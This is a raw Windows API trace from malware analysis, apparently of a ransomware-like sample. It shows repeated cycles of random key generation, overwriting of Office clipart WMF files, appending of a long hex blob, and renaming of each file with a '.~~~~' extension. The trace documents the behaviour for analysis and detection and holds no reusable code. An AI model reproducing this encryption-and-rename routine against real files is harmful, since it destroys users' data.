	[0115.514] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0115.514] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0115.514] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0115.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0115.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0115.514] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23550455370) returned 1
	[0115.514] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xae5a4e90, dwHighDateTime=0x1d60e1e)) 
	[0115.515] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0115.515] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0115.515] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0115.515] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283ad78
	[0115.515] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0115.515] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283ad78 | out: hHeap=0x300000) returned 1
	[0115.515] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0115.515] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0115.515] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0115.515] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0115.515] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b0738
	[0115.515] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.515] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0115.515] GetLastError () returned 0x0
	[0115.515] GetLastError () returned 0x0
	[0115.515] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0115.515] GetLastError () returned 0x0
	[0115.516] GetLastError () returned 0x0
	[0115.518] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xffffe4f4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.518] WriteFile (in: hFile=0x148, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x1b0c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x26dfec0*=0x1b0c, lpOverlapped=0x0) returned 1
	[0115.519] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0115.519] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.519] WriteFile (in: hFile=0x148, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0115.519] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0115.519] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0115.519] CloseHandle (hObject=0x148) returned 1
	[0115.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0115.519] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00914_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00914_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00914_.wmf.~~~~")) returned 1
	[0115.520] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.520] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0115.520] GetLastError () returned 0x0
	[0115.521] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0115.522] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0115.522] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0115.522] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0115.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0115.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0115.522] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23551195379) returned 1
	[0115.522] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xae5a4e90, dwHighDateTime=0x1d60e1e)) 
	[0115.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0115.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0115.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0115.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283adb0
	[0115.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0115.522] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283adb0 | out: hHeap=0x300000) returned 1
	[0115.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0115.522] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0115.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0115.522] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0115.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b07d0
	[0115.522] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.522] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0115.523] GetLastError () returned 0x0
	[0115.523] GetLastError () returned 0x0
	[0115.523] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0115.523] GetLastError () returned 0x0
	[0115.523] GetLastError () returned 0x0
	[0115.525] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xffffe408, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.525] WriteFile (in: hFile=0x148, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x1bf8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x26dfec0*=0x1bf8, lpOverlapped=0x0) returned 1
	[0115.526] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0115.526] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.526] WriteFile (in: hFile=0x148, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0115.526] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0115.526] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0115.526] CloseHandle (hObject=0x148) returned 1
	[0115.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0115.574] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00915_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00915_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00915_.wmf.~~~~")) returned 1
	[0115.575] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.575] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0115.575] GetLastError () returned 0x0
	[0115.576] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0115.577] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0115.577] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0115.577] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0115.577] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0115.577] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0115.577] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23556738131) returned 1
	[0115.577] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xae63d410, dwHighDateTime=0x1d60e1e)) 
	[0115.577] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0115.577] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0115.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0115.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283af00
	[0115.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0115.578] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283af00 | out: hHeap=0x300000) returned 1
	[0115.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0115.578] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0115.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0115.578] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0115.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b0868
	[0115.578] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.578] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0115.578] GetLastError () returned 0x0
	[0115.579] GetLastError () returned 0x0
	[0115.579] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0115.579] GetLastError () returned 0x0
	[0115.579] GetLastError () returned 0x0
	[0115.591] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xffffe8f8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.591] WriteFile (in: hFile=0x148, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x1708, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0x1708, lpOverlapped=0x0) returned 1
	[0115.592] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0115.592] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.592] WriteFile (in: hFile=0x148, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0115.593] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0115.593] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0115.593] CloseHandle (hObject=0x148) returned 1
	[0115.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0115.593] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00941_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00941_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00941_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00941_.wmf.~~~~")) returned 1
	[0115.594] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.594] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0115.594] GetLastError () returned 0x0
	[0115.594] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0115.595] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0115.595] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0115.595] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0115.595] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0115.595] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0115.595] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23558540781) returned 1
	[0115.595] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xae663570, dwHighDateTime=0x1d60e1e)) 
	[0115.595] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0115.595] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0115.595] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0115.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b560
	[0115.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0115.596] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b560 | out: hHeap=0x300000) returned 1
	[0115.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0115.596] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0115.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0115.596] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0115.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b0bf8
	[0115.596] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.596] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0115.596] GetLastError () returned 0x0
	[0115.596] GetLastError () returned 0x0
	[0115.596] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0115.596] GetLastError () returned 0x0
	[0115.596] GetLastError () returned 0x0
	[0115.607] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xffffe27c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.608] WriteFile (in: hFile=0x148, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x1d84, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0x1d84, lpOverlapped=0x0) returned 1
	[0115.609] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0115.609] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.609] WriteFile (in: hFile=0x148, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0115.609] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0115.609] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0115.609] CloseHandle (hObject=0x148) returned 1
	[0115.610] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0115.610] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00943_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00943_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00943_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00943_.wmf.~~~~")) returned 1
	[0115.611] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.611] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0115.611] GetLastError () returned 0x0
	[0115.611] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0115.612] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0115.612] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0115.612] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0115.612] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0115.612] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0115.612] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23560251349) returned 1
	[0115.612] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xae6896d0, dwHighDateTime=0x1d60e1e)) 
	[0115.612] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0115.613] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0115.613] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0115.613] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b598
	[0115.613] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0115.613] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b598 | out: hHeap=0x300000) returned 1
	[0115.613] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0115.613] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0115.613] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0115.613] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0115.613] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b0d28
	[0115.613] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.613] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0115.613] GetLastError () returned 0x0
	[0115.613] GetLastError () returned 0x0
	[0115.613] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0115.614] GetLastError () returned 0x0
	[0115.614] GetLastError () returned 0x0
	[0116.138] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xffff51e6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.138] WriteFile (in: hFile=0x148, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0xae1a, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0xae1a, lpOverlapped=0x0) returned 1
	[0116.139] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0116.139] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.139] WriteFile (in: hFile=0x148, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0116.139] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0116.139] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0116.140] CloseHandle (hObject=0x148) returned 1
	[0116.145] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6a78
	[0116.164] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01044_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01044_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01044_.wmf.~~~~")) returned 1
	[0116.165] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6a78 | out: hHeap=0x300000) returned 1
